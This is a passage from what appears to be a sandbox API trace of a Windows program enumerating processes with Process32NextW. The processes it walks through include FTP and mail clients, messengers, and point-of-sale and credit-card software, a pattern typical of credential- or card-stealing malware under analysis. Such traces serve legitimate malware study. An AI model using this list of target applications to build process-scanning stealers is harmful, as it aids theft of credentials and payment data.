lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.383] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.384] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.386] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0063.488] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.490] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.492] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0063.494] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0063.495] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0063.498] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0063.500] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.501] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0063.503] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0063.505] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.507] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0063.509] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.511] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ltd revolutionary regulations.exe")) returned 1 [0063.512] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="similar.exe")) returned 1 [0063.514] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="guestbook saturday.exe")) returned 1 [0063.516] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="perceived.exe")) returned 1 [0063.518] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="communities calculate.exe")) returned 1 [0063.519] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gravekingdodge.exe")) returned 1 [0063.521] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="entitled.exe")) returned 1 [0063.523] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="f_sign.exe")) returned 1 [0063.775] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mathematical carbon.exe")) returned 1 [0063.777] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="referrals-pamela-algebra.exe")) returned 1 [0063.779] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="paintingscompiledbeing.exe")) returned 1 [0063.780] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="collective.exe")) returned 1 [0063.782] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mls-miracle-bestsellers.exe")) returned 1 [0063.784] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshot-venture-distance.exe")) returned 1 [0063.786] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="meditation-vic-easily.exe")) returned 1 [0063.788] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="request-mhz.exe")) returned 1 [0063.789] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x850, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jefferson.exe")) returned 1 [0063.791] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0063.793] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0063.794] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x880, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0063.796] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0063.798] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0063.799] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0063.801] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0063.802] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0063.804] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0063.805] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0063.807] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0063.809] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0063.937] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0063.941] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0063.944] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0063.947] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0063.949] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0063.952] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0063.955] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0063.961] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0063.964] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0063.966] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0063.973] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0063.976] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0064.230] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0064.233] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0064.235] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0064.238] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0064.240] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0064.243] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0064.245] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0064.247] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0064.250] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0064.252] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0064.254] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0064.256] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0064.258] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0065.036] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0065.038] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0065.041] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0065.043] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0065.045] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0065.047] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lay-compromise.exe")) returned 1 [0065.049] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="neural_allowance.exe")) returned 1 [0065.052] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="presents.exe")) returned 1 [0065.054] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="latino powers economics.exe")) returned 1 [0065.056] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lbs essentially nyc.exe")) returned 1 [0065.058] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0065.060] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0065.062] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0065.064] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, 